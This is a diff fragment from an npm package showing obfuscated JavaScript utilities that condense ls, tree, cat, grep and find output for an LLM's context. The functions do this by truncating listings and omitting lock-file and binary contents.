_0x33ee12=a0_0x2fc984,_0x117998=_0x15b5c2[_0x33ee12(0xf9)]('\x0a')['filter'](_0xe026c=>_0xe026c[_0x33ee12(0x12d)]()[_0x33ee12(0x13a)]>0x0);if(_0x117998[_0x33ee12(0x13a)]===0x0)return'Empty\x20directory';if(_0x117998[_0x33ee12(0x13a)]<=0x1e)return _0x15b5c2[_0x33ee12(0x12d)]();const _0x220ecb=[],_0x2f4912=[];for(const _0xd64af6 of _0x117998){const _0x2d7c25=_0xd64af6['trim']();if(_0x2d7c25['startsWith'](_0x33ee12(0x110))||_0x2d7c25['startsWith']('d')&&_0x2d7c25[_0x33ee12(0x129)]('..'))continue;_0x2d7c25['endsWith']('/')||_0x2d7c25[_0x33ee12(0x13c)]('d')&&_0x2d7c25[_0x33ee12(0x129)]('\x20')?_0x220ecb[_0x33ee12(0x134)](_0x2d7c25):_0x2f4912['push'](_0x2d7c25);}const _0x2f18dd=[];return _0x220ecb[_0x33ee12(0x13a)]>0x0&&(_0x220ecb[_0x33ee12(0x13a)]<=0xf?_0x2f18dd[_0x33ee12(0x134)](..._0x220ecb):(_0x2f18dd[_0x33ee12(0x134)](..._0x220ecb[_0x33ee12(0xf3)](0x0,0xa)),_0x2f18dd[_0x33ee12(0x134)]('...\x20+'+(_0x220ecb['length']-0xa)+_0x33ee12(0x126)))),_0x2f4912[_0x33ee12(0x13a)]>0x0&&(_0x2f4912[_0x33ee12(0x13a)]<=0x14?_0x2f18dd[_0x33ee12(0x134)](..._0x2f4912):(_0x2f18dd[_0x33ee12(0x134)](..._0x2f4912[_0x33ee12(0xf3)](0x0,0xf)),_0x2f18dd[_0x33ee12(0x134)](_0x33ee12(0xe0)+(_0x2f4912[_0x33ee12(0x13a)]-0xf)+'\x20more\x20files'))),_0x2f18dd[_0x33ee12(0x134)]('\x0a('+_0x220ecb[_0x33ee12(0x13a)]+_0x33ee12(0x118)+_0x2f4912[_0x33ee12(0x13a)]+_0x33ee12(0xf2)),_0x2f18dd[_0x33ee12(0xe1)]('\x0a');}function filterTree(_0x39dc98){const _0x4e7232=a0_0x2fc984,_0x595d07=_0x39dc98[_0x4e7232(0xf9)]('\x0a');if(_0x595d07[_0x4e7232(0x13a)]<=0x32)return _0x39dc98[_0x4e7232(0x12d)]();const _0x558365=[];let _0x3d3dd0=0x0,_0x18430b=0x0,_0x11f1c7=0x0;for(const _0x3952e0 of _0x595d07){const _0x27397c=_0x3952e0['match'](/(\d+)\s+director/),_0x5269d3=_0x3952e0[_0x4e7232(0x123)](/(\d+)\s+file/);if(_0x27397c)_0x11f1c7=parseInt(_0x27397c[0x1]);if(_0x5269d3)_0x18430b=parseInt(_0x5269d3[0x1]);const _0x317f84=(_0x3952e0[_0x4e7232(0x123)](/^[│├└\s─]+/)||[''])[0x0][_0x4e7232(0x13a)];_0x317f84<=0x4&&(_0x558365['push'](_0x3952e0),_0x3d3dd0++);}return _0x595d07[_0x4e7232(0x13a)]>_0x558365['length']&&_0x558365['push']('\x0a...\x20('+_0x11f1c7+_0x4e7232(0x118)+_0x18430b+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x558365[_0x4e7232(0xe1)]('\x0a');}function filterCat(_0x5ee372,_0x3a3b21=''){const _0x4f8b15=a0_0x2fc984,_0x1da7dd=extractFilename(_0x3a3b21);try{if(_0x1da7dd){const _0x319c7d=filterLockFile(_0x5ee372,_0x1da7dd);if(_0x319c7d)return _0x319c7d;}const _0x581abe=filterBinaryOrMinified(_0x5ee372,_0x1da7dd);if(_0x581abe)return _0x581abe;const _0x65ce52=filterJsonMinify(_0x5ee372);if(_0x65ce52)return _0x65ce52;}catch{}const _0x151099=_0x5ee372[_0x4f8b15(0xf9)]('\x0a');if(_0x151099['length']<=0x64)return _0x5ee372;const _0x3ab214=[];return _0x3ab214[_0x4f8b15(0x134)](..._0x151099[_0x4f8b15(0xf3)](0x0,0x32)),_0x3ab214[_0x4f8b15(0x134)]('\x0a...\x20['+(_0x151099[_0x4f8b15(0x13a)]-0x50)+_0x4f8b15(0xd1)),_0x3ab214[_0x4f8b15(0x134)](..._0x151099[_0x4f8b15(0xf3)](-0x1e)),_0x3ab214[_0x4f8b15(0x134)]('\x0a('+_0x151099[_0x4f8b15(0x13a)]+_0x4f8b15(0x127)),_0x3ab214[_0x4f8b15(0xe1)]('\x0a');}function filterGrep(_0x45ec78){const _0x4761b5=a0_0x2fc984,_0x63ef77=_0x45ec78['split']('\x0a')[_0x4761b5(0x12f)](_0x4636a3=>_0x4636a3[_0x4761b5(0x12d)]()[_0x4761b5(0x13a)]>0x0);if(_0x63ef77[_0x4761b5(0x13a)]===0x0)return _0x4761b5(0x120);if(_0x63ef77[_0x4761b5(0x13a)]<=0x32)return _0x45ec78[_0x4761b5(0x12d)]();const _0x1bd79b={},_0x2f8c0d=[];for(const _0x5031b4 of _0x63ef77){const _0x176b59=_0x5031b4[_0x4761b5(0xd0)](':');if(_0x176b59>0x0&&_0x176b59<0xc8){const _0x254cb9=_0x5031b4[_0x4761b5(0xd2)](0x0,_0x176b59);if(_0x254cb9['includes']('/')||_0x254cb9[_0x4761b5(0x129)]('\x5c')||_0x254cb9[_0x4761b5(0x129)]('.')){if(!_0x1bd79b[_0x254cb9])_0x1bd79b[_0x254cb9]=[];_0x1bd79b[_0x254cb9][_0x4761b5(0x134)](_0x5031b4[_0x4761b5(0xd2)](_0x176b59+0x1)['trim']());continue;}}_0x2f8c0d[_0x4761b5(0x134)](_0x5031b4);}const _0x5d343e=[],_0x19d0c8=Object[_0x4761b5(0xfd)](_0x1bd79b);if(_0x19d0c8[_0x4761b5(0x13a)]>0x0){const _0x11082d=0x14,_0x2a6a3b=_0x19d0c8['slice'](0x0,_0x11082d);for(const _0x295a8b of _0x2a6a3b){const _0x1f464b=_0x1bd79b[_0x295a8b];if(_0x1f464b[_0x4761b5(0x13a)]<=0x3)for(const _0x1ed0e4 of _0x1f464b){_0x5d343e[_0x4761b5(0x134)](_0x295a8b+':\x20'+_0x1ed0e4);}else _0x5d343e[_0x4761b5(0x134)](_0x295a8b+':\x20'+_0x1f464b[0x0]),_0x5d343e['push'](_0x295a8b+_0x4761b5(0xda)+_0x1f464b[_0x4761b5(0x13a)]+_0x4761b5(0xeb));}_0x19d0c8[_0x4761b5(0x13a)]>_0x11082d&&_0x5d343e[_0x4761b5(0x134)]('...\x20+'+(_0x19d0c8[_0x4761b5(0x13a)]-_0x11082d)+_0x4761b5(0x128));}if(_0x2f8c0d['length']>0x0){const _0x1007a6=0x1e;_0x5d343e[_0x4761b5(0x134)](..._0x2f8c0d[_0x4761b5(0xf3)](0x0,_0x1007a6)),_0x2f8c0d[_0x4761b5(0x13a)]>_0x1007a6&&_0x5d343e[_0x4761b5(0x134)](_0x4761b5(0xe0)+(_0x2f8c0d[_0x4761b5(0x13a)]-_0x1007a6)+_0x4761b5(0x113));}const _0x196221=_0x63ef77[_0x4761b5(0x13a)];return _0x5d343e['push']('\x0a('+_0x196221+_0x4761b5(0x11f)+(_0x19d0c8[_0x4761b5(0x13a)]||'?')+_0x4761b5(0xf2)),_0x5d343e[_0x4761b5(0xe1)]('\x0a');}function filterFind(_0x233dc8){const _0xb4d383=a0_0x2fc984,_0x5e863c=_0x233dc8[_0xb4d383(0xf9)]('\x0a')[_0xb4d383(0x12f)](_0x23ce28=>_0x23ce28[_0xb4d383(0x12d)]()[_0xb4d383(0x13a)]>0x0);if(_0x5e863c[_0xb4d383(0x13a)]===0x0)return _0xb4d383(0x104);if(_0x5e863c[_0xb4d383(0x13a)]<=0x32)return _0x233dc8[_0xb4d383(0x12d)]();const _0x1307c6={};for(const _0x174b84 of _0x5e863c){const _0x36bdc6=path['dirname'](_0x174b84[_0xb4d383(0x12d)]())||'.';_0x1307c6[_0x36bdc6]=(_0x1307c6[_0x36bdc6]||0x0)+0x1;}const _0xfd7c70=Object['entries'](_0x1307c6)['sort']((_0x701cc3,_0x42d011)=>_0x42d011[0x1]-_0x701cc3[0x1]),_0x22a93b=[_0x5e863c['length']+'\x20files\x20found\x20across\x20'+_0xfd7c70[_0xb4d383(0x13a)]+_0xb4d383(0x135),''],_0x2de1cd=0x1e;for(const [_0x31175a,_0x420e27]of _0xfd7c70[_0xb4d383(0xf3)](0x0,_0x2de1cd)){_0x22a93b[_0xb4d383(0x134)]('\x20\x20'+_0x31175a+_0xb4d383(0x12a)+_0x420e27+_0xb4d383(0xf2));}return _0xfd7c70['length']>_0x2de1cd&&_0x22a93b[_0xb4d383(0x134)](_0xb4d383(0x130)+(_0xfd7c70[_0xb4d383(0x13a)]-_0x2de1cd)+_0xb4d383(0x126)),_0x22a93b[_0xb4d383(0xe1)]('\x0a');}
|
|
1
|
+
'use strict';const a0_0x5c7ede=a0_0x580b;(function(_0x1353b1,_0x2797de){const _0x277ea5=a0_0x580b,_0x3f11de=_0x1353b1();while(!![]){try{const _0x1331ab=-parseInt(_0x277ea5(0x16b))/0x1+-parseInt(_0x277ea5(0x13a))/0x2+-parseInt(_0x277ea5(0x137))/0x3*(-parseInt(_0x277ea5(0xfd))/0x4)+parseInt(_0x277ea5(0x115))/0x5+-parseInt(_0x277ea5(0x128))/0x6*(-parseInt(_0x277ea5(0x169))/0x7)+parseInt(_0x277ea5(0x14d))/0x8*(parseInt(_0x277ea5(0x124))/0x9)+-parseInt(_0x277ea5(0x105))/0xa*(parseInt(_0x277ea5(0x117))/0xb);if(_0x1331ab===_0x2797de)break;else _0x3f11de['push'](_0x3f11de['shift']());}catch(_0x4a9935){_0x3f11de['push'](_0x3f11de['shift']());}}}(a0_0x2c8b,0xc5163));var __createBinding=this&&this['__createBinding']||(Object[a0_0x5c7ede(0x160)]?function(_0x143c94,_0x1f5a1a,_0x11a0cf,_0xf7d0d4){const _0x475631=a0_0x5c7ede;if(_0xf7d0d4===undefined)_0xf7d0d4=_0x11a0cf;var _0x9b438a=Object[_0x475631(0x165)](_0x1f5a1a,_0x11a0cf);(!_0x9b438a||('get'in _0x9b438a?!_0x1f5a1a[_0x475631(0x155)]:_0x9b438a[_0x475631(0x159)]||_0x9b438a['configurable']))&&(_0x9b438a={'enumerable':!![],'get':function(){return _0x1f5a1a[_0x11a0cf];}}),Object['defineProperty'](_0x143c94,_0xf7d0d4,_0x9b438a);}:function(_0xe25b8a,_0x120f15,_0x3824f1,_0x1017f8){if(_0x1017f8===undefined)_0x1017f8=_0x3824f1;_0xe25b8a[_0x1017f8]=_0x120f15[_0x3824f1];}),__setModuleDefault=this&&this[a0_0x5c7ede(0x152)]||(Object[a0_0x5c7ede(0x160)]?function(_0x4c9353,_0x685bb4){const _0x1e23ec=a0_0x5c7ede;Object[_0x1e23ec(0x10d)](_0x4c9353,_0x1e23ec(0x15f),{'enumerable':!![],'value':_0x685bb4});}:function(_0x269bd0,_0x273372){_0x269bd0['default']=_0x273372;}),__importStar=this&&this[a0_0x5c7ede(0xfc)]||(function(){var _0x3b6735=function(_0x352f62){const _0x44ad10=a0_0x580b;return _0x3b6735=Object[_0x44ad10(0x11d)]||function(_0x50e71c){const _0x192760=_0x44ad10;var _0x1b3ffa=[];for(var _0x27fec2 in _0x50e71c)if(Object['prototype'][_0x192760(0x15c)]['call'](_0x50e71c,_0x27fec2))_0x1b3ffa[_0x1b3ffa[_0x192760(0x15a)]]=_0x27fec2;return _0x1b3ffa;},_0x3b6735(_0x352f62);};return function(_0x1db843){const _0x45135e=a0_0x580b;if(_0x1db843&&_0x1db843[_0x45135e(0x155)])return _0x1db843;var _0x350d2={};if(_0x1db843!=null){for(var _0x5ddd8d=_0x3b6735(_0x1db843),_0x25ea8b=0x0;_0x25ea8b<_0x5ddd8d[_0x45135e(0x15a)];_0x25ea8b++)if(_0x5ddd8d[_0x25ea8b]!==_0x45135e(0x15f))__createBinding(_0x350d2,_0x1db843,_0x5ddd8d[_0x25ea8b]);}return __setModuleDefault(_0x350d2,_0x1db843),_0x350d2;};}());Object[a0_0x5c7ede(0x10d)](exports,a0_0x5c7ede(0x155),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x5c7ede(0x167)]=filterTree,exports[a0_0x5c7ede(0x139)]=filterCat,exports[a0_0x5c7ede(0x144)]=filterGrep,exports['filterFind']=filterFind;const path=__importStar(require(a0_0x5c7ede(0x100))),LOCK_FILES=[a0_0x5c7ede(0x126),a0_0x5c7ede(0x146),'pnpm-lock.yaml',a0_0x5c7ede(0x10e),a0_0x5c7ede(0x102),a0_0x5c7ede(0x113),a0_0x5c7ede(0x168),'Gemfile.lock','bun.lockb'],BINARY_EXTENSIONS=[a0_0x5c7ede(0x154),a0_0x5c7ede(0x12d),a0_0x5c7ede(0x106),a0_0x5c7ede(0x140),a0_0x5c7ede(0x10b),a0_0x5c7ede(0x13f),a0_0x5c7ede(0x103),a0_0x5c7ede(0xff),a0_0x5c7ede(0x151),a0_0x5c7ede(0x133),'.webp',a0_0x5c7ede(0x156),a0_0x5c7ede(0x161),a0_0x5c7ede(0x13c),a0_0x5c7ede(0x129),a0_0x5c7ede(0x141),a0_0x5c7ede(0x149),a0_0x5c7ede(0x16c),a0_0x5c7ede(0x127),a0_0x5c7ede(0x173),a0_0x5c7ede(0x11b),a0_0x5c7ede(0x121),a0_0x5c7ede(0x14a),'.dylib',a0_0x5c7ede(0x134),a0_0x5c7ede(0x147),a0_0x5c7ede(0x116),a0_0x5c7ede(0x112),a0_0x5c7ede(0x125),a0_0x5c7ede(0x15b),a0_0x5c7ede(0x10a),a0_0x5c7ede(0x16d),'.eot',a0_0x5c7ede(0x14e),'.mp3',a0_0x5c7ede(0x131),a0_0x5c7ede(0x101),a0_0x5c7ede(0x111),a0_0x5c7ede(0x119),a0_0x5c7ede(0x145),a0_0x5c7ede(0x16e),a0_0x5c7ede(0x16f),a0_0x5c7ede(0xfe),'.o','.obj'];function extractFilename(_0x3951f1){const _0x5128cc=a0_0x5c7ede,_0x32fd36=_0x3951f1[_0x5128cc(0x13d)]()[_0x5128cc(0x14f)](/\s+/);for(let _0x581d4b=0x1;_0x581d4b<_0x32fd36['length'];_0x581d4b++){if(!_0x32fd36[_0x581d4b][_0x5128cc(0x118)]('-'))return _0x32fd36[_0x581d4b];}return null;}function a0_0x2c8b(){const _0x3da9ff=['dirname','.avi','.db','poetry.lock','includes','2433795BeoISf','.sqlite','59169ppAtpl','startsWith','.mov','\x20matches\x20across\x20','.exe','\x20\x20...\x20+','getOwnPropertyNames','endsWith','basename','sort','.dll','\x20files)','slice','9PPQwaK','.sqlite3','package-lock.json','.7z','4476TRhkow','.tar.gz','some','\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)','charCodeAt','.min.css','\x0a...\x20[',':\x20...\x20(','indexOf','.mp4','\x20more\x20files\x20with\x20matches','.bmp','.bin','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','total\x20','2575998ObwAJl','\x20dependencies,\x20','filterCat','1485214FMuLae','\x20directories,\x20','.zip','trim','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','.jpg','.wasm','.tgz','filter','keys','filterGrep','.webm','yarn.lock','.dat','Empty\x20directory','.gz','.so','[lock\x20file]\x20','substring','12811912AjOVGu','.otf','split','entries','.ico','__setModuleDefault','[minified\x20file]\x20','.min.js','__esModule','.svg','\x20more\x20directories','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','writable','length','.woff','hasOwnProperty','toLocaleString','push','default','create','.pdf','stringify','\x20files\x20found\x20across\x20','toLowerCase','getOwnPropertyDescriptor','match','filterTree','composer.lock','13356ymEAlo','\x0a...\x20(','771009BCjyzQ','.bz2','.ttf','.pyc','.pyo','\x20chars,\x20type:\x20','[binary\x20file]\x20','join','.rar','packages','...\x20+','__importStar','4QaIddF','.class','.gif','path','.wav','go.sum','.jpeg','\x20more\x20files','3810hbeIDB','.map','\x20lines\x20total)','parse','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.woff2','.png','No\x20matches\x20found','defineProperty','Cargo.lock','\x20more\x20matches'];a0_0x2c8b=function(){return _0x3da9ff;};return a0_0x2c8b();}function filterLockFile(_0x534999,_0x4eb5db){const _0x72609c=a0_0x5c7ede;try{const _0x2548a7=path[_0x72609c(0x11f)](_0x4eb5db)[_0x72609c(0x164)]();if(!LOCK_FILES[_0x72609c(0x12a)](_0x17e321=>_0x2548a7===_0x17e321['toLowerCase']()))return null;const _0x114798=_0x534999['length'];let _0x4bebce=0x0;if(_0x2548a7===_0x72609c(0x126))try{const _0x4c9ffc=JSON[_0x72609c(0x108)](_0x534999);_0x4bebce=Object[_0x72609c(0x143)](_0x4c9ffc[_0x72609c(0x174)]||_0x4c9ffc['dependencies']||{})['length'];}catch{_0x4bebce=(_0x534999[_0x72609c(0x166)](/"resolved":/g)||[])[_0x72609c(0x15a)];}else{if(_0x2548a7===_0x72609c(0x146))_0x4bebce=(_0x534999['match'](/^"?[^#\s][^:]*:$/gm)||[])[_0x72609c(0x15a)];else{if(_0x2548a7==='cargo.lock'||_0x2548a7==='poetry.lock')_0x4bebce=(_0x534999[_0x72609c(0x166)](/\[\[package\]\]/g)||[])[_0x72609c(0x15a)];else{if(_0x2548a7==='go.sum')_0x4bebce=Math['floor'](_0x534999[_0x72609c(0x14f)]('\x0a')['filter'](_0x465d05=>_0x465d05[_0x72609c(0x13d)]())[_0x72609c(0x15a)]/0x2);else{if(_0x2548a7===_0x72609c(0x168))try{_0x4bebce=JSON[_0x72609c(0x108)](_0x534999)[_0x72609c(0x174)]?.['length']||0x0;}catch{}else _0x2548a7==='pnpm-lock.yaml'?_0x4bebce=(_0x534999[_0x72609c(0x166)](/^\s{2}['"@a-z]/gm)||[])['length']:_0x4bebce=_0x534999['split']('\x0a')[_0x72609c(0x142)](_0x5448ad=>_0x5448ad[_0x72609c(0x13d)]())[_0x72609c(0x15a)];}}}}return _0x72609c(0x14b)+path[_0x72609c(0x11f)](_0x4eb5db)+':\x20'+_0x4bebce+_0x72609c(0x138)+_0x114798['toLocaleString']()+_0x72609c(0x109);}catch{return null;}}function filterBinaryOrMinified(_0x5e09dc,_0x148759){const _0x5f4b8b=a0_0x5c7ede;try{if(_0x148759){const _0x3ddc85=_0x148759['toLowerCase']();for(const _0x19f348 of BINARY_EXTENSIONS){if(_0x3ddc85[_0x5f4b8b(0x11e)](_0x19f348))return'[binary/minified\x20file]\x20'+path[_0x5f4b8b(0x11f)](_0x148759)+',\x20'+_0x5e09dc[_0x5f4b8b(0x15a)]['toLocaleString']()+_0x5f4b8b(0x170)+_0x19f348+_0x5f4b8b(0x158);}}const _0x59e710=_0x5e09dc[_0x5f4b8b(0x14c)](0x0,0x3e8);let _0x4d0e31=0x0;for(let _0x37184f=0x0;_0x37184f<_0x59e710[_0x5f4b8b(0x15a)];_0x37184f++){if(_0x59e710[_0x5f4b8b(0x12c)](_0x37184f)===0x0)_0x4d0e31++;}if(_0x4d0e31>0x0)return _0x5f4b8b(0x171)+_0x5e09dc[_0x5f4b8b(0x15a)][_0x5f4b8b(0x15d)]()+_0x5f4b8b(0x13e);let _0x16a28d=0x0;for(let _0x132a4d=0x0;_0x132a4d<_0x59e710[_0x5f4b8b(0x15a)];_0x132a4d++){const _0xdf8f0a=_0x59e710['charCodeAt'](_0x132a4d);if(_0xdf8f0a<0x20&&_0xdf8f0a!==0xa&&_0xdf8f0a!==0xd&&_0xdf8f0a!==0x9)_0x16a28d++;}if(_0x59e710[_0x5f4b8b(0x15a)]>0x64&&_0x16a28d>_0x59e710[_0x5f4b8b(0x15a)]*0.1)return _0x5f4b8b(0x171)+_0x5e09dc[_0x5f4b8b(0x15a)][_0x5f4b8b(0x15d)]()+_0x5f4b8b(0x12b);const _0x2779aa=_0x5e09dc['split']('\x0a');if(_0x2779aa[_0x5f4b8b(0x15a)]<=0x3&&_0x5e09dc[_0x5f4b8b(0x15a)]>0x1388)return _0x5f4b8b(0x153)+_0x5e09dc[_0x5f4b8b(0x15a)]['toLocaleString']()+'\x20chars\x20across\x20'+_0x2779aa[_0x5f4b8b(0x15a)]+_0x5f4b8b(0x135);return null;}catch{return null;}}function filterJsonMinify(_0x2486f2){const _0x27738a=a0_0x5c7ede;try{const _0x5a5f82=_0x2486f2[_0x27738a(0x13d)]();if(!_0x5a5f82['startsWith']('{')&&!_0x5a5f82[_0x27738a(0x118)]('['))return null;const _0x1f0238=_0x5a5f82[_0x27738a(0x14f)]('\x0a');if(_0x1f0238['length']<=0x14)return null;const _0x1df0d9=JSON['parse'](_0x5a5f82),_0x31402a=JSON[_0x27738a(0x162)](_0x1df0d9);if(_0x31402a['length']<_0x5a5f82[_0x27738a(0x15a)])return _0x31402a;return null;}catch{return null;}}function a0_0x580b(_0x4be55a,_0x5786cf){_0x4be55a=_0x4be55a-0xfc;const _0x2c8b3e=a0_0x2c8b();let _0x580ba4=_0x2c8b3e[_0x4be55a];return _0x580ba4;}function filterLs(_0x22399b){const _0x53d0bd=a0_0x5c7ede,_0x4919a1=_0x22399b[_0x53d0bd(0x14f)]('\x0a')[_0x53d0bd(0x142)](_0x4db263=>_0x4db263['trim']()[_0x53d0bd(0x15a)]>0x0);if(_0x4919a1[_0x53d0bd(0x15a)]===0x0)return _0x53d0bd(0x148);if(_0x4919a1[_0x53d0bd(0x15a)]<=0x1e)return _0x22399b[_0x53d0bd(0x13d)]();const _0x1cd20a=[],_0x294fe5=[];for(const _0x50de52 of _0x4919a1){const _0x5120e5=_0x50de52[_0x53d0bd(0x13d)]();if(_0x5120e5[_0x53d0bd(0x118)](_0x53d0bd(0x136))||_0x5120e5[_0x53d0bd(0x118)]('d')&&_0x5120e5[_0x53d0bd(0x114)]('..'))continue;_0x5120e5[_0x53d0bd(0x11e)]('/')||_0x5120e5['startsWith']('d')&&_0x5120e5[_0x53d0bd(0x114)]('\x20')?_0x1cd20a[_0x53d0bd(0x15e)](_0x5120e5):_0x294fe5['push'](_0x5120e5);}const _0x2003c6=[];return _0x1cd20a['length']>0x0&&(_0x1cd20a['length']<=0xf?_0x2003c6[_0x53d0bd(0x15e)](..._0x1cd20a):(_0x2003c6[_0x53d0bd(0x15e)](..._0x1cd20a['slice'](0x0,0xa)),_0x2003c6[_0x53d0bd(0x15e)](_0x53d0bd(0x175)+(_0x1cd20a[_0x53d0bd(0x15a)]-0xa)+_0x53d0bd(0x157)))),_0x294fe5[_0x53d0bd(0x15a)]>0x0&&(_0x294fe5[_0x53d0bd(0x15a)]<=0x14?_0x2003c6['push'](..._0x294fe5):(_0x2003c6[_0x53d0bd(0x15e)](..._0x294fe5['slice'](0x0,0xf)),_0x2003c6[_0x53d0bd(0x15e)]('...\x20+'+(_0x294fe5['length']-0xf)+_0x53d0bd(0x104)))),_0x2003c6['push']('\x0a('+_0x1cd20a[_0x53d0bd(0x15a)]+_0x53d0bd(0x13b)+_0x294fe5[_0x53d0bd(0x15a)]+_0x53d0bd(0x122)),_0x2003c6[_0x53d0bd(0x172)]('\x0a');}function filterTree(_0x419010){const _0x257ee4=a0_0x5c7ede,_0xab9206=_0x419010['split']('\x0a');if(_0xab9206[_0x257ee4(0x15a)]<=0x32)return _0x419010[_0x257ee4(0x13d)]();const _0x133197=[];let _0x23718e=0x0,_0x45193f=0x0,_0x21061e=0x0;for(const _0x49c50f of _0xab9206){const _0x24e92a=_0x49c50f[_0x257ee4(0x166)](/(\d+)\s+director/),_0x183e64=_0x49c50f[_0x257ee4(0x166)](/(\d+)\s+file/);if(_0x24e92a)_0x21061e=parseInt(_0x24e92a[0x1]);if(_0x183e64)_0x45193f=parseInt(_0x183e64[0x1]);const _0x3f4d10=(_0x49c50f[_0x257ee4(0x166)](/^[│├└\s─]+/)||[''])[0x0][_0x257ee4(0x15a)];_0x3f4d10<=0x4&&(_0x133197[_0x257ee4(0x15e)](_0x49c50f),_0x23718e++);}return _0xab9206['length']>_0x133197[_0x257ee4(0x15a)]&&_0x133197[_0x257ee4(0x15e)](_0x257ee4(0x16a)+_0x21061e+_0x257ee4(0x13b)+_0x45193f+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x133197[_0x257ee4(0x172)]('\x0a');}function filterCat(_0xdbb806,_0xaa2888=''){const _0x55b72e=a0_0x5c7ede,_0x1e6bc7=extractFilename(_0xaa2888);try{if(_0x1e6bc7){const _0x207a3e=filterLockFile(_0xdbb806,_0x1e6bc7);if(_0x207a3e)return _0x207a3e;}const _0x227c64=filterBinaryOrMinified(_0xdbb806,_0x1e6bc7);if(_0x227c64)return _0x227c64;const _0x5bed6f=filterJsonMinify(_0xdbb806);if(_0x5bed6f)return _0x5bed6f;}catch{}const _0x5088d0=_0xdbb806[_0x55b72e(0x14f)]('\x0a');if(_0x5088d0['length']<=0x64)return _0xdbb806;const _0x268909=[];return _0x268909[_0x55b72e(0x15e)](..._0x5088d0[_0x55b72e(0x123)](0x0,0x32)),_0x268909['push'](_0x55b72e(0x12e)+(_0x5088d0[_0x55b72e(0x15a)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x268909[_0x55b72e(0x15e)](..._0x5088d0[_0x55b72e(0x123)](-0x1e)),_0x268909[_0x55b72e(0x15e)]('\x0a('+_0x5088d0[_0x55b72e(0x15a)]+_0x55b72e(0x107)),_0x268909[_0x55b72e(0x172)]('\x0a');}function filterGrep(_0x5552d8){const _0x3ce846=a0_0x5c7ede,_0x1cff2c=_0x5552d8[_0x3ce846(0x14f)]('\x0a')[_0x3ce846(0x142)](_0x41be0b=>_0x41be0b['trim']()[_0x3ce846(0x15a)]>0x0);if(_0x1cff2c[_0x3ce846(0x15a)]===0x0)return _0x3ce846(0x10c);if(_0x1cff2c[_0x3ce846(0x15a)]<=0x32)return _0x5552d8[_0x3ce846(0x13d)]();const _0x49b6ea={},_0x3499ed=[];for(const _0x3a0d6d of _0x1cff2c){const _0xa9810f=_0x3a0d6d[_0x3ce846(0x130)](':');if(_0xa9810f>0x0&&_0xa9810f<0xc8){const _0xc9af5d=_0x3a0d6d[_0x3ce846(0x14c)](0x0,_0xa9810f);if(_0xc9af5d[_0x3ce846(0x114)]('/')||_0xc9af5d['includes']('\x5c')||_0xc9af5d['includes']('.')){if(!_0x49b6ea[_0xc9af5d])_0x49b6ea[_0xc9af5d]=[];_0x49b6ea[_0xc9af5d]['push'](_0x3a0d6d[_0x3ce846(0x14c)](_0xa9810f+0x1)[_0x3ce846(0x13d)]());continue;}}_0x3499ed[_0x3ce846(0x15e)](_0x3a0d6d);}const _0x517db8=[],_0x307370=Object['keys'](_0x49b6ea);if(_0x307370[_0x3ce846(0x15a)]>0x0){const _0x359528=0x14,_0x55c6dd=_0x307370[_0x3ce846(0x123)](0x0,_0x359528);for(const _0x516f30 of _0x55c6dd){const _0x27ac8d=_0x49b6ea[_0x516f30];if(_0x27ac8d[_0x3ce846(0x15a)]<=0x3)for(const _0x208685 of _0x27ac8d){_0x517db8[_0x3ce846(0x15e)](_0x516f30+':\x20'+_0x208685);}else _0x517db8[_0x3ce846(0x15e)](_0x516f30+':\x20'+_0x27ac8d[0x0]),_0x517db8['push'](_0x516f30+_0x3ce846(0x12f)+_0x27ac8d['length']+'\x20matches\x20in\x20this\x20file)');}_0x307370[_0x3ce846(0x15a)]>_0x359528&&_0x517db8[_0x3ce846(0x15e)](_0x3ce846(0x175)+(_0x307370['length']-_0x359528)+_0x3ce846(0x132));}if(_0x3499ed[_0x3ce846(0x15a)]>0x0){const _0x2620f6=0x1e;_0x517db8[_0x3ce846(0x15e)](..._0x3499ed[_0x3ce846(0x123)](0x0,_0x2620f6)),_0x3499ed[_0x3ce846(0x15a)]>_0x2620f6&&_0x517db8[_0x3ce846(0x15e)](_0x3ce846(0x175)+(_0x3499ed[_0x3ce846(0x15a)]-_0x2620f6)+_0x3ce846(0x10f));}const _0x3e4c0c=_0x1cff2c[_0x3ce846(0x15a)];return _0x517db8['push']('\x0a('+_0x3e4c0c+_0x3ce846(0x11a)+(_0x307370[_0x3ce846(0x15a)]||'?')+_0x3ce846(0x122)),_0x517db8['join']('\x0a');}function filterFind(_0x23c070){const _0x25d74a=a0_0x5c7ede,_0x1e1051=_0x23c070[_0x25d74a(0x14f)]('\x0a')[_0x25d74a(0x142)](_0x4f08a2=>_0x4f08a2[_0x25d74a(0x13d)]()[_0x25d74a(0x15a)]>0x0);if(_0x1e1051[_0x25d74a(0x15a)]===0x0)return'No\x20files\x20found';if(_0x1e1051[_0x25d74a(0x15a)]<=0x32)return _0x23c070[_0x25d74a(0x13d)]();const _0x524217={};for(const _0x56c177 of _0x1e1051){const _0x40aff8=path[_0x25d74a(0x110)](_0x56c177[_0x25d74a(0x13d)]())||'.';_0x524217[_0x40aff8]=(_0x524217[_0x40aff8]||0x0)+0x1;}const _0x1807aa=Object[_0x25d74a(0x150)](_0x524217)[_0x25d74a(0x120)]((_0x388ed7,_0x34ab48)=>_0x34ab48[0x1]-_0x388ed7[0x1]),_0x80392=[_0x1e1051['length']+_0x25d74a(0x163)+_0x1807aa[_0x25d74a(0x15a)]+'\x20directories',''],_0x5b61e2=0x1e;for(const [_0x425e91,_0x6a9892]of _0x1807aa[_0x25d74a(0x123)](0x0,_0x5b61e2)){_0x80392[_0x25d74a(0x15e)]('\x20\x20'+_0x425e91+'/\x20('+_0x6a9892+_0x25d74a(0x122));}return _0x1807aa['length']>_0x5b61e2&&_0x80392['push'](_0x25d74a(0x11c)+(_0x1807aa[_0x25d74a(0x15a)]-_0x5b61e2)+_0x25d74a(0x157)),_0x80392[_0x25d74a(0x172)]('\x0a');}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
